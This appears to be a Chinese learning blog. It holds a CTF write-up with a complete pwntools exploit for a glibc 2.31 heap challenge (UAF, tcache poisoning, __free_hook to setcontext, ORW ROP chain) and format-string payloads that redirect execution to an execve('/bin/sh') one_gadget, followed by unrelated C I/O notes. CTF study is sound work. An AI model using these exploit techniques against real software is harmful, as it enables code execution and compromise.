pwn入门-48-setcontext应用
参考: www.anquanke.com/post/id/236832
DASCTF 2021中的ParentSimulator
一、题目代码分析12345678910int sub_1641(){ puts("1.Give birth to a child"); puts("2.Change child's name"); puts("3.Show children's name"); puts("4.Remove your child"); puts("5.Edit child's description."); puts("6.Exit"); return printf(">> ");}
base+4060这个地址存储的是标志位,表示是否被使用了 ( 记为 chunk_list_flag)
base+40a0存储的是chunk的地址( 记为 chunk_list)
chunk结构分析如下
0x0 → pre_size
0x8 → size
0x10 → name
0x18 → gender
0x20 → des
1. add添加的话可以重复添加到一个序号,覆盖之前的,比如一直选择1号,第二次添加会覆盖第一次的
2. changename逻辑就是判断chunk_list_flag是否为1,为1的话,说明存在这个chunk,然后就去修改
3. show 要检查chunk_list_flag、
4. delete 这里存在漏洞,未检查chunk_list_flag, 并且free之后没有清零, 存在UAF
1234567891011121314151617181920int sub_196B(){ __int64 v0; // rax int v2; // [rsp+Ch] [rbp-4h] puts("Please input index?"); LODWORD(v0) = sub_15E9(); v2 = v0; if ( (int)v0 >= 0 && (int)v0 <= 9 ) { v0 = qword_40A0[(int)v0]; if ( v0 ) { free((void *)qword_40A0[v2]); dword_4060[v2] = 0; LODWORD(v0) = puts("Done"); } } return v0;}
首先dword_4060并没有检查,那你把它置为0又有什么用呢? 反正没有检查,然后虽然把40a0处的地址释放了,但是没有清0呀,导致还可以继续释放
5. changecontent也是先判断chunk_list_flag是否为1
666. 改性别只能改一次,这里并没有检查chunk_list_flag,所以一定要细心,当时没仔细看这里,并且会直接打印当前的性别,所以可以利用这个进行信息泄露,因为这里是bk的位置
如果目标堆块处于 tcache中,那么修改性别就能泄露 堆地址
如果目标堆块处于 unsort bin中,那么修改性别就有可能泄露 libc地址
二、解题思路分析保护全开12345Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled
开启了沙箱 常规思路便是通过ORW来读取flag
12345678910 line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
libc版本2.31版本: Ubuntu GLIBC 2.31-0ubuntu9
ORW的一个通用思路是劫持free_hook等,写入setcontext的gadget,来设置相应的寄存器,然后劫持控制流,2.29版本之前和之后有所不同( 之前可以直接通过rdi索引, rdi是传入的chunk的地址)
setcontext2.29之前
12345678<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
之后
123456789101112131415161718192021580dd: 48 8b a2 a0 00 00 00 mov rsp,QWORD PTR [rdx+0xa0]580e4: 48 8b 9a 80 00 00 00 mov rbx,QWORD PTR [rdx+0x80]580eb: 48 8b 6a 78 mov rbp,QWORD PTR [rdx+0x78]580ef: 4c 8b 62 48 mov r12,QWORD PTR [rdx+0x48]580f3: 4c 8b 6a 50 mov r13,QWORD PTR [rdx+0x50]580f7: 4c 8b 72 58 mov r14,QWORD PTR [rdx+0x58]580fb: 4c 8b 7a 60 mov r15,QWORD PTR [rdx+0x60]580ff: 64 f7 04 25 48 00 00 test DWORD PTR fs:0x48,0x258106: 00 02 00 00 005810b: 0f 84 b5 00 00 00 je 581c6 <setcontext@@GLIBC_2.2.5+0x126> ........................581c6: 48 8b 8a a8 00 00 00 mov rcx,QWORD PTR [rdx+0xa8]581cd: 51 push rcx581ce: 48 8b 72 70 mov rsi,QWORD PTR [rdx+0x70]581d2: 48 8b 7a 68 mov rdi,QWORD PTR [rdx+0x68]581d6: 48 8b 8a 98 00 00 00 mov rcx,QWORD PTR [rdx+0x98]581dd: 4c 8b 42 28 mov r8,QWORD PTR [rdx+0x28]581e1: 4c 8b 4a 30 mov r9,QWORD PTR [rdx+0x30]581e5: 48 8b 92 88 00 00 00 mov rdx,QWORD PTR [rdx+0x88]581ec: 31 c0 xor eax,eax581ee: c3 ret
能看到这里有两个重点,一个是mov rsp,QWORD PTR [rdx+0xa0],另外一个是mov rcx,QWORD PTR [rdx+0xa8];push rcx
从这里可以看出,如果能控制rdx及其所在区域(比如一个chunk),那么就可以控制rsp,rcx,然后ret到rsp所在区域继续执行。
问题就转换为了如何控制rdx
特殊gadgetlibcbase + 0x1547a0
12mov rdx, qword ptr [rdi + 8] # 设置rdxcall qword ptr [rdx + 0x20] # 填入setcontext gadget的地址
所以可以先想办法控制rdi及其所在区域,然后跳转到setcontext (伪造或者定制一个特殊的chunk即可)
三、利用步骤1.泄露地址泄露堆地址 利用tcache的double free,free进到tcache是不做检查的,所以才要先add一下,让tcache有一个空位
当第二次free(8)的时候,8已经被free两次了其实,一次在usbin中,一次在tcache中
这里继续add(0,1,’1’) 占据的是0号的chunk_list,这里申请到的是tcache中的8,bb20。 如此一来,chunk_list的0号和8号都是一个chunk了, 这样一个free后,另一个就可以show来泄露信息
然后继续free(8), 虽然8不能show,但这时候0是可以show的,所以show 0就得到了泄露的堆地址
123456789101112131415161718# ----------------------------- 1 利用double free构造堆块重叠, 泄露heap和libc地址for i in range(10): add(i,1,'a')for i in range(7): # 填充满tcache free(6-i)# 合并进入usbin, 先8后7,反过来呢? 没影响 这俩合并在一起。 目的其实是后面可以单独操纵其中一块free(7)free(8)# 从tcache中取出第一块分配, tcache后进先出, 所以分配的是0号add(0,1,'1')# 这里用到了double free,将合并状态下的一部分chunk放入tcache,造成堆块重叠(谁和谁重叠呢? tcache的第一个和usbin的?free(8) # 为啥这里能再次free呢? free进tcahe,所以前面用到了一个add。。add(0,1,'1')# 再次申请,使放入tcache中的usbin chunk被分配(8号),泄露堆地址(为什么还是可以0呢?编号是可以覆盖的,但是实际上还是要创建新的内存free(8) # 继续double free 这里会填入地址啦,就是从这里泄露的show(0) # 为什么不能show 8呢 要检测chunk_list_flagru('nder: ')heap_addr = uu64(r(6))leak(heap_addr)
泄露libc地址 把tcache都申请了,然后把unsortedbin再申请一半,剩下的一半的fd和bk就是main_arena的地址了
记住这里申请的1的话也是bb20,就是那个uaf的堆块,这样的话,0 1都是它了,然后show 0 (1也行)就能show出来usbin的bk,也就能泄露堆地址了
123456for i in range(1,9): add(i,1,str(i)+str(i))show(0)ru('nder: ')base = uu64(r(6))-0x1ebbe0leak(base)
2. 在堆块上布置 触发 setcontext链的 gadget及setcontext用到的数据
原理 因为是第一次使用这个手法,看原文wp很蒙, 但结合后面的步骤就理解了.
其实这里就是要布置一下触发free_hook之后的行为,让它设置好rdx后把控制流转到setcontext, 我们是把free_hook修改为了这个gadget
12mov rdx, qword ptr [rdi + 8]call qword ptr [rdx + 0x20]
于是乎,在free触发的时候,传入的第一个参数rdi是 要free的chunk的地址
所以就是把chunk+8处的值传给rdx,也就是heap_addr+0x3a8-0x18,然后把heap_addr+0x3a8-0x18+0x20处的值,当作函数的地址进行调用, 在知道chunk地址的前提下,rdi+8可控的话,rdx+0x20的值也是可控的,
然后跳到setcontext之后,还是以这个chunk为基础进行设置值,在setcontext中,用到了0xa0和0xa8,分别代表了rsp和ret后的第一条指令。
所以最终会布置成这个样子
实现步骤 这里的目标是修改一个堆块的gender(chunk+8),虽然有666那个地方可以修改,但还是先用复杂一点的方法来. 如果要修改的话,就需要进行一个任意地址写,所以可以通过tcache poison (类似于double free) 申请到一个堆头前面的地址,然后来实现修改gender的效果
这里的目标就是修改fd,把fd修改为要修改gender堆块的上面的地址
free(3) 上面的一个堆块,不知道为啥要选定这个(大概可以随便选一个,和0x380对应就行)
free(1) 1指向的堆块其实是bb20,也就是前面一直利用的覆盖的那半个220的堆块 ,这里用到了uaf,0的位置也是bb20,这时候编辑它,修改了fd (这里可见,chunk_list的0和1都是这个块,造成uaf)
然后两次add,就让9获得了要伪造堆块的地址( 为什么不直接在这里获取free_hook呢? 为什么要在这里伪造堆块呢?)(因为要修改bk,也就是rdi+8这个位置,作者这样弄其实是复杂了,虽然很通用,其实题目给出了一次修改性别的机会,估计就是用来干这个的)
然后布置好chunk+8以及chunk+8所指向的地址的内容( 那个特殊的gadget
12345678910111213141516# ----- 2 构造堆块重叠,使得可以向chunk+8位置写入数据;令在堆块上布置 跳往 setcontext链 的gadgetadd(9,1,'a') # 获取下面那一块usbin,这样的话 0 1 9 都是bb20了free(3) free(1)name_edit(0,p64(heap_addr+0x380)[:-1]) # 要伪造的堆块的地址,也可以选其他的 add(8,1,'a')add(9,1,'a') pl = p64(0) + p64(0x111)pl+= p64(0) + p64(heap_addr+0x3a8-0x18) # 在chunk2的gender字段放置地址addr,令addr+0x28指向chunk2的des字段pl+= p64(setcontext)pl+= (0xa0-len(pl))*'\x00' + p64(heap_addr+0x5d0) + p64(p_rdi_r) content_edit(9,pl)
content_edit(9,pl) 这里就覆盖了之前的堆块了,至于为啥要写入390位置,因为要把这里当作头,然后3a0作为内容地址,这样就可以edit写入了,edit写入的其实是伪造了一个完整的堆块
3. 修改free_hook为 特殊 gadget
为什么要free7呢? free(7)应该是为了绕过检测、 反正必须要free一个,应该会有计数检测, free个没有影响的就可以了
1234567# ----------------------------------------------- 3 set gadget into free_hookfree(7)free(8)pause()name_edit(0,p64(free_hook)[:-1])add(8,1,'8888')add(7,1,p64(gadget)[:-1])
4. 布置ORW rop链1234567# ---------------------------------------------- 4 在堆块中布置rop链pl = p64(heap_addr+0xb10) + p64(p_rsi_r) + p64(0) + p64(open_addr)# 这里要注意选择open返回的fd指针pl+= p64(p_rdi_r) + p64(4) + p64(p_rsi_r) + p64(heap_addr+0x500) + p64(p_rdx_r12_r) + p64(0x30)*2 + p64(read_addr)pl+= p64(p_rdi_r) + p64(heap_addr+0x500) + p64(puts)content_edit(4,pl)name_edit(0,'/flag\x00\x00')
这里红框的地址,指向flag字符串, 这里也是后面rop的起点,pop rdi的下一个位置,
5. free触发 在free触发的时候,传入的第一个参数rdi是 要free的chunk的地址 free(2),把这个参数传给特殊gadget,然后执行
12mov rdx, qword ptr [rdi + 8]call qword ptr [rdx + 0x20]
所以就是把b3b0+8处的值传给rdx,也就是b3a0,然后把b3a0+0x20处的值,当作函数的地址,也就是b3c0,也就是setcontext
setcontext = base + sym(‘setcontext’) + 61
通过这个来设置寄存器的值,主要是通过rdx+ 0xa0 设置了rsp, ret的时候跳到后面rop那里,开始rop
rdx + 0xa8位置设置 pop rdi;ret; 这里的话,会被放到rcx,然后push rcx,所以这么布置
这里其实设置哪个chunk都可以,只要找好对应关系就可以了
exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181#!/usr/bin/python#coding=utf-8#__author__:N1K0_from pwn import *import inspectfrom sys import argvdef leak(var): callers_local_vars = inspect.currentframe().f_back.f_locals.items() temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0] p.info(temp + ': {:#x}'.format(var))s = lambda data :p.send(data)sa = lambda delim,data :p.sendafter(delim, data)sl = lambda data :p.sendline(data)sla = lambda delim,data :p.sendlineafter(delim, data)r = lambda numb=4096 :p.recv(numb)ru = lambda delims, drop=True :p.recvuntil(delims, drop)uu32 = lambda data :u32(data.ljust(4, b'\0'))uu64 = lambda data :u64(data.ljust(8, b'\0'))plt = lambda data :elf.plt[data]got = lambda data :elf.got[data]sym = lambda data :libc.sym[data]itr = lambda :p.interactive()local_libc = './libc.so.6'remote_libc = ''binary = './pwn'context.binary = binaryelf = ELF(binary,checksec=False)p = process(binary)if len(argv) > 1: if argv[1]=='r': p = remote('1',1)libc = elf.libc# libc = ELF(remote_libc)def dbg(cmd=''): #os.system('tmux set mouse on') context.terminal = ['tmux','splitw','-h'] gdb.attach(p,cmd) pause()context.terminal = ['tmux','splitw','-h']gdb.attach(p)"""chunk_list = 0x40A0chunk_list_flag = 0x04060gender_chance = 0x4010"""# startcontext.log_level = 'DEBUG'def add(idx,sex,name): sla('>> ','1') sla('index?\n',str(idx)) sla('2.Girl:\n',str(sex)) sa("Please input your child's name:\n",name)def name_edit(idx,name): sla('>> ','2') sla('index',str(idx)) sa('name:',name) ru('Done!\n')def show(idx): sla('>>','3') sla('index?',str(idx))def free(idx): sla('>>','4') sla('index?',str(idx))def change_sex(idx,sex): sla('>>','666') sla('index?',str(idx)) ru('Current gender:') temp = uu64(r(6)) sla('2.Girl:',str(sex)) return tempdef content_edit(idx,data): sla('>>','5') sla('index?',str(idx)) sa('description:',data)def quit(): sla('>>','6')# ----------------------------- 1 利用double free构造堆块重叠, 泄露heap和libc地址for i in range(10): add(i,1,str(i))for i in range(7): free(6-i)# 合并进入usbinfree(8)# 合并进入usbinfree(7)# 合并进入usbin# 从tcache中取出第一块分配add(0,1,'0')# 合并进入usbin# 将合并状态下的一部分chunk放入tcache,造成堆块重叠free(8)# 再次申请,使放入tcache中的usbin chunk被分配,泄露堆地址add(0,1,'0')# 合并进入usbinfree(8)# 合并进入usbinshow(0)# 合并进入usbinru('nder: ')heap_addr = uu64(r(6))leak(heap_addr)# 合并进入usbinfor i in range(1,9): add(i,1,str(i)+str(i))show(0)ru('nder: ')base = uu64(r(6))-0x1ebbe0leak(base)# --------------------------- 2 构造堆块重叠,使得可以向chunk+8位置写入数据;令在堆块上布置setcontext链open_addr = base + sym('open')read_addr = base + sym('read')puts = base + sym('puts')gadget = base + 0x1547a0free_hook = base + sym('__free_hook')setcontext = base + sym('setcontext') + 61p_rdi_r = base + 0x26b72p_rdx_r12_r = base + 0x11c1e1p_rsi_r = base + 0x27529leak(free_hook)leak(gadget)add(9,1,'99')free(3)free(1)name_edit(0,p64(heap_addr+0x380)[:-1])print(hex(heap_addr+0x380))add(8,1,'888')add(9,1,'999')pl = p64(0) + p64(0x111)pl+= p64(0) + p64(heap_addr+0x3a8-0x18) # 在chunk2的gender字段放置地址addr,令addr+0x28指向chunk2的des字段# setcontext"""gadget 0x154930 mov rdx, [rdi+8] mov [rsp+0C8h+var_C8], rax call qword ptr [rdx+20h]"""pl+= p64(setcontext)pl+= (0xa0-len(pl))*b'\x00' + p64(heap_addr+0x5d0) + p64(p_rdi_r)content_edit(9,pl)# ----------------------------------------------- 3 set gadget into free_hookfree(7)free(8)pause()name_edit(0,p64(free_hook)[:-1])add(8,1,'8888')add(7,1,p64(gadget)[:-1])# ---------------------------------------------- 4 在堆块中布置rop链pl = p64(heap_addr+0xb10) + p64(p_rsi_r) + p64(0) + p64(open_addr)# 这里要注意选择open返回的fd指针pl+= p64(p_rdi_r) + p64(4) + p64(p_rsi_r) + p64(heap_addr+0x500) + p64(p_rdx_r12_r) + p64(0x30)*2 + p64(read_addr)pl+= p64(p_rdi_r) + p64(heap_addr+0x500) + p64(puts)content_edit(4,pl)name_edit(0,'/flag\x00\x00')#command = 'b *'+ str(hex(gadget))+'\n'#dbg(command)# ---------------------------------------------- 5 triggerfree(2)# enditr()
pwn入门-47-zh3R0CTF2021-moreprintf
这个题还有一些奇奇怪怪的问题, 但是怕自己跑偏了,就暂时先放下了,后面有空再研究.(或许和fprintf的机制有关?
先复习一下格式化字符串,本来想看看之前自己写的笔记…看了一下后想起来了一句名言,大意就是你去修改一个很烂的项目不如重构….恩….写的太烂了…不如重写一篇…
格式化字符串漏洞基础%n 为什么能写入值呢,就是这个%n,它是将之前已经打印的字符个数赋值给当前偏移处的指针指向的地址
例如%100×10$n: 将100写入第十个位置所保存的指针指向的地址(4字节), %$hn是2字节,%$hhn是1字节,%$lln是8字节
%p %p %p %p %p %p %p %p %p %p %p
在b *fprintf+143也就是vprintf下断点,然后set $rdi=_IO_stdout, 单步,就可以打印地址了
1*RSI 0x55555555b4c0 ◂— '0x55555555b260 0x7ffff7af2151 0x7ffff7dcf8c0 0x7ffff7ff5540 0x7fffffffe470 0xb1dad8e32f5ad200 0x5555555552c0 0x7ffff7a03bf7 0x1 0x7fffffffe568\n'
前四个值和后四个值
%c c是一个字符的意思, 在后面的exp中,%c%c%c%5c%hhn表示,前三次输出,都是输出一个字符,第四次是5个字符,然后一共是8个字节了,把8写入第5个位置的指针指向的地址.
set $rdi=_IO_stdout ( 其他版本呢?)
%caaa%cbbb%cccc%5cddd%hhn,
可以看到确实只打印了第一个字符,然后%5c是把不足的用空格补齐
1`aaaQbbb�ccc @ddd
然后把值写到了第5个位置的指针指向的地址
用%c%c%c%5c%hhn试一下, 可以看到确实是改成了0x08
但在我这里应该是要改成0xc8 不过其实应该没影响,都是把read地方的值改成onegadget
任意地址写修改值1%c%c%c%5c%hhn%*8$d%186326c%5$n
除了wp给的payload,换其他的很多都不行…为什么呢?? 仔细观察源码, 有输入长度的限制的, fgets(buffer, 31, stdin);
如果不是单纯做题而是研究一下打法的话,可以拓展一下长度试试,这样的话应该就好很多,(可以加系统调用限制,然后又是orw的一道题(x)) (或者直接在运行的时候改寄存器,修改读入长度)
修改ret返回值(x)123456781a:00d0│ 0x7fffffffe4a0 —▸ 0x555555555100 (_start) ◂— endbr641b:00d8│ 0x7fffffffe4a8 —▸ 0x5555555552af (main+198) ◂— mov edi, 11c:00e0│ 0x7fffffffe4b0 ◂— 0x7fffffffe4b01d:00e8│ 0x7fffffffe4b8 ◂— 0xb8204e953bb68d001e:00f0│ rbp 0x7fffffffe4c0 —▸ 0x5555555552c0 (__libc_csu_init) ◂— endbr641f:00f8│ 0x7fffffffe4c8 —▸ 0x7ffff7a03c87 (__libc_start_main+231) ◂— mov edi, eax %c%c%c%197c%hhn%*8$d%????c%5$n
onegadget - (200 + 0x21c87 )就是要改的值了
1234567891011120x4f2a5 execve("/bin/sh", rsp+0x40, environ)constraints: rsp & 0xf == 0 rcx == NULL0x4f302 execve("/bin/sh", rsp+0x40, environ)constraints: [rsp+0x40] == NULL0x10a2fc execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL
0x4f2a5- (200 + 0x21c87 ) = 185686
%c%c%c%197c%hhn%*8$d%185686c%5$n
邪门,就是不出c8,概率比较小,可能和系统有关?
改成0x18吧…
%c%c%c%21c%hhn%*8$d%185862c%5$n
但还是不行..
问题出在这个函数没有ret的….那….. 所以覆盖了也没用…
fprintf之后有ret 回main函数的exit, 是不是可以修改这里呢? 这里就是下面的main+198
改其他的函数指针,比如改main+1980x556fe88e42af这里会执行到的,但是是把这里的值改了(用watch下断点查看)
1234561a:00d0│ 0x7ffca5108380 —▸ 0x556fe88e4100 (_start) ◂— endbr641b:00d8│ 0x7ffca5108388 —▸ 0x556fe88e42af (main+198) ◂— mov edi, 11c:00e0│ 0x7ffca5108390 ◂— 0x7ffca51083901d:00e8│ 0x7ffca5108398 ◂— 0x695c632b96376d001e:00f0│ rbp 0x7ffca51083a0 —▸ 0x556fe88e42c0 (__libc_csu_init) ◂— endbr641f:00f8│ 0x7ffca51083a8 —▸ 0x7fc96c879c87 (__libc_start_main+231) ◂— mov edi, eax
修改下内存测试下
0x7f8d3724c000+0x4f2a5 = 0x7f8d3729b2a5
set *0x7ffc28b196d8= 0x7f8d3729b2a5 (为啥一次设置不全呢?)
set *0x7ffc28b196dc= 0x7f8d
这里会把这个值修改一下,但不知道后面会不会执行, 会执行!!!
0x18: %c%c%c%21c%hhn%*8$d%185862c%5$n
0x28: %c%c%c%37c%hhn%*8$d%185846c%5$n
但是没办法一次改完….得两次啊,不对,应该用%lln
0x18: %c%c%c%21c%hhn%*8$d%185862c%5$lln
0x28: %c%c%c%37c%hhn%*8$d%185846c%5$lln
不过为什么好像没有改成8字节,还是4字节呢?
以及,是否可以修改两次4字节呢… 方法有点多,但会越来越复杂…先暂时放一下
如何确定能到read 那就算修改了read, 怎么确定一定会执行到read呢, 不是执行到read,而是执行到栈里的这个地方,把那里的值改了,看wp一头雾水,wp中的调用链在本地测试不是这样
所以我感觉有几份就是瞎扯淡,瞎蒙的(不过也可能是自己认识不足
是在vprift里面触发的
哦卧槽,这和栈的结构有关….?? 为什么返回地址会到这呢??
改rsp上面那个值才行
123456789101112131415161718192021222324252627282930311c:00e0│ 0x7ffd959070f0 —▸ 0x7ffd95907008 ◂— 0x7f2523745be71d:00e8│ 0x7ffd959070f8 ◂— 0xbaa72d067a954f001e:00f0│ rbp 0x7ffd95907100 —▸ 0x562fc10992c0 (__libc_csu_init) ◂— endbr641f:00f8│ 0x7ffd95907108 —▸ 0x7f25dc8e7bf7 (__libc_start_main+231) ◂— mov edi, eaxpwndbg> bt#0 0x00007f2523745be7 in ?? ()#1 0x0000003000000030 in ?? ()#2 0x00007ffd959070f8 in ?? ()#3 0x00007ffd95907030 in ?? ()#4 0xbaa72d067a954f00 in ?? ()#5 0x00007f25dccb1a00 in ?? () from ./libc.so.6#6 0x00007f25dccae2a0 in ?? () from ./libc.so.6#7 0x0000562fc300d260 in ?? ()#8 0x00007f25dc9d6151 in __GI___libc_read (fd=-1785699856, buf=0x562fc300d27e, nbytes=0) at ../sysdeps/unix/sysv/linux/read.c:27#9 0x00007f25dccb38c0 in _IO_stdfile_2_lock () from ./libc.so.6#10 0x00007f25dcedf540 in ?? ()#11 0xffffffffffffffb0 in ?? ()#12 0x0000000000000000 in ?? () pwndbg> tele $rsp-0x1000:0000│ 0x7ffd95907000 —▸ 0x7ffd95907100 —▸ 0x562fc10992c0 (__libc_csu_init) ◂— endbr6401:0008│ 0x7ffd95907008 ◂— 0x7f2523745be702:0010│ rsp 0x7ffd95907010 ◂— 0x3000000030 /* '0' */03:0018│ 0x7ffd95907018 —▸ 0x7ffd959070f8 ◂— 0xbaa72d067a954f0004:0020│ 0x7ffd95907020 —▸ 0x7ffd95907030 —▸ 0x7f25dccb1a00 (_IO_2_1_stdin_) ◂— 0xfbad208b05:0028│ 0x7ffd95907028 ◂— 0xbaa72d067a954f0006:0030│ 0x7ffd95907030 —▸ 0x7f25dccb1a00 (_IO_2_1_stdin_) ◂— 0xfbad208b07:0038│ 0x7ffd95907038 —▸ 0x7f25dccae2a0 (__GI__IO_file_jumps) ◂— 0x0
123456789pwndbg> tele $rsp-0x800:0000│ 0x7ffea6ecc4b8 —▸ 0x7fa5e518df44 (fprintf+148) ◂— mov rcx, qword ptr [rsp + 0x18]01:0008│ rsp 0x7ffea6ecc4c0 ◂— 0x3000000030 /* '0' */02:0010│ 0x7ffea6ecc4c8 —▸ 0x7ffea6ecc5a8 ◂— 0x3d76d5b60521190003:0018│ 0x7ffea6ecc4d0 —▸ 0x7ffea6ecc4e0 —▸ 0x7fa5e5514a00 (_IO_2_1_stdin_) ◂— 0xfbad208b04:0020│ 0x7ffea6ecc4d8 ◂— 0x3d76d5b60521190005:0028│ 0x7ffea6ecc4e0 —▸ 0x7fa5e5514a00 (_IO_2_1_stdin_) ◂— 0xfbad208b06:0030│ 0x7ffea6ecc4e8 —▸ 0x7fa5e55112a0 (__GI__IO_file_jumps) ◂— 0x007:0038│ 0x7ffea6ecc4f0 —▸ 0x55e932c72260 ◂— '%c%c%c%5c%hhn%*8$d%186326c%5$n'
题目分析源代码12345678910111213141516171819202122232425262728/* gcc -o more-printf -fstack-protector-all more-printf.c */#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>FILE *fp;char *buffer;uint64_t i = 0x8d9e7e558877;_Noreturn main() { /* Just to save some of your time */ uint64_t *p; p = &p; /* Chall */ setbuf(stdin, 0); buffer = (char *)malloc(0x20 + 1); //为啥要+1? 感觉好像不加也一样 fp = fopen("/dev/null", "wb"); fgets(buffer, 0x1f, stdin); if (i != 0x8d9e7e558877) { _exit(1337); } else { i = 1337; fprintf(fp, buffer); _exit(1); }}
逻辑分析12345678910111213141516int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ __int64 v3[2]; // [rsp+0h] [rbp-10h] BYREF v3[1] = __readfsqword(0x28u); v3[0] = (__int64)v3; setbuf(stdin, 0LL); buffer = (char *)malloc(0x21uLL); fp = fopen("/dev/null", "wb"); fgets(buffer, 31, stdin); if ( i != 0x8D9E7E558877LL ) _exit(1337); i = 1337LL; fprintf(fp, buffer); _exit(1);}
能够看到没有溢出,有一次格式化字符串利用的机会, 我在想是不是可以直接把返回地址修改成onegadget呢? 答案没采用这种方法,后面证实确实不行,一个是没有ret, 换别的函数的ret没有合适的指针(存疑)
先用%p泄露地址,能够看到第二个地址是比较特殊的, read函数,如果可以修改后面几个字节, 改为和onegadget一样,通过枚举,alsr偏移也一样的话,就可以getshell了,onegadget的话 0x4f3d5, 有五位不同, 枚举的话还是需要挺长时间的.. (不需要通过枚举,完全可以利用现有的指针),也就是第8个参数
__libc_start_main+231知道这里的值,加上偏移就是onegadget的值了!
123__libc_start_main+231: 0x7ffff7a03bf7onegadget : 0x7ffff7a313d5相差: onegadget-__libc_start_main+231 = 0x2d7de = 186334
作者认为修改的read+17这个值是修改完后才会执行到的…依据是什么呢,如果不是这样的呢?
下断点: b *read 下不了…q
要输入payload: %c%c%c%5c%hhn%*8$d%186326c%5$n 也不行
可以下watch断点的, watch一下要修改的地方的地址
123456pwndbg> info bNum Type Disp Enb Address What7 breakpoint keep y 0x00007ffff7a46f3f in __fprintf at fprintf.c:32 breakpoint already hit 1 time9 breakpoint keep n 0x00007ffff7af2140 in __GI___libc_read at ../sysdeps/unix/sysv/linux/read.c:2711 breakpoint keep y 0x00007ffff7af2140 in __GI___libc_read at ../sysdeps/unix/sysv/linux/read.c:27
下的断点没用呢… 换个patchelf试试,
2.27-3ubuntu1.4
https://surager.pub/_posts/2021-05-11-x86架构下pwn题目libc概述/
先用这个吧 2.27-3ubuntu1.5_amd64
进去一会后按c, 就能够进入最后的调试了,不行就下一个,继续c
关键再c就退出去了..
注意下断点的地址, exit可以 那是不是可以下system\execve
直接q然后继续就好了
gdb –pid 进去
为什么这里就可以只枚举32呢? 所以对抗alsr的点不是在onegadget这个地址上,这里是确定的, 那什么是不确定的呢?
就是要修改的地址的地址, 它不一定是0x08,可能是0x18 28 也可能是0x00 0x20, 所以才会有32种可能
不过在我的电脑上, 第2的字节的一半也变了…那随机化的范围又大了(关闭随机化的情况下,开启了好像又一样了)
实际修改的指针
改的其实是上面的函数的地址(实测) 作者提出的修改read+17行不通
调试下断点和bt回溯遇到了问题 首先,bt回溯时候的各种问题,我认为是因为劫持控制流破坏了识别算法, 识别不出来,
syscall能下断点吗
do_system
gdb 执行了新的sh,怎么跟踪呢? 如何看上一个进程的bt
为什么会执行到上面那里呢?
为什么会从那里取值rip呢?
这里貌似是比较重要的函数
这里面进行解析的吧, 是的,所以重点应该在这里
printf_positional
怎么样才能跟踪执行流呢
故意输错 让他卡在那是不是就可以了
注意看这里, 返回了最开始的栈帧,
为什么只链接了那两个就可以了??????问题 buffer = (char *)malloc(0x20 + 1); //为啥要+1? 感觉好像不加也一样
set $rdi=_IO_stdout ( 其他版本呢?)
set *0x7ffc28b196d8= 0x7f8d3729b2a5 (为啥一次设置不全呢?)
以及,是否可以修改两次4字节呢… 方法有点多,但会越来越复杂…先暂时放一下
如何下断点来到这里呢? 最后返回onegadget的时候下不了断点
gdb启动的时候如何多下几个断点
为什么会从从rsp上面取值?
tipsgdb中如何关了alsr调试呢
12set disable-randomization on 关闭set disable-randomization off 开启
参考https://www.anquanke.com/post/id/85785
https://xz.aliyun.com/t/12304
https://www.hakuya.work/post/2
https://violenttestpen.github.io/ctf/pwn/2021/06/06/zh3r0-ctf-2021/
https://github.com/zh3r0/zh3r0-ctf/tree/main/V2/pwn/more-printf/public/vuln
https://blog.caprinux.com/2021/06/07/zh3ro-ctf-more-printf/
https://sangjun.xyz/125
感觉前面几个讲的方法最后一步都有问题
https://cor.team/posts/zh3r0-ctf-v2-complete-pwn-writeups/
这一篇或许是对的
c语言回炉重造-unix系统接口
8.2 低级IO read/write 利用这个系统调用来构造高级一点的函数, 库函数之类的
系统调用的函数原型集中放在一个头文件syscalls.h中( 事实上目前的系统里只有syscall.h,最后也会调用unistd.h)
123456789101112131415//将输入复制到输出//#include "syscalls.h"#include <stdio.h>#include <unistd.h>int main(){ char buf[BUFSIZ]; int n; while((n = read(0, buf, BUFSIZ)) > 0 ) write(1, buf,n); return 0;}
1234io.c:3:10: fatal error: syscalls.h: No such file or directory 3 | #include "syscalls.h" | ^~~~~~~~~~~~compilation terminated.
https://blog.csdn.net/sesiria/article/details/52337114
PS: /usr/include/目录下存着c的各种头文件,可以从这里寻找
12# cat /usr/include/syscall.h#include <sys/syscall.h>
确实是存在这个目录的,但是为什么没找到呢? syscall.h, 没有s
12#include "syscall.h"#include <stdio.h> //stdio.h里面有BUFSIZ, 或者自己定义一下
实现getchar(无缓冲区)
1234567#include "syscalls.h"int getchar(void){ char c; return (read(0,&c,1) == 1) ? (unsigned char) c: EOF;}
第二版 一次读入一组字符,但每次只输出一个字符(简单的带缓冲区的版本)
但是这个函数调用完了,缓冲区什么的也都没了吧?? 不是的, static的生命周期,在整个程序的运行期间都存在
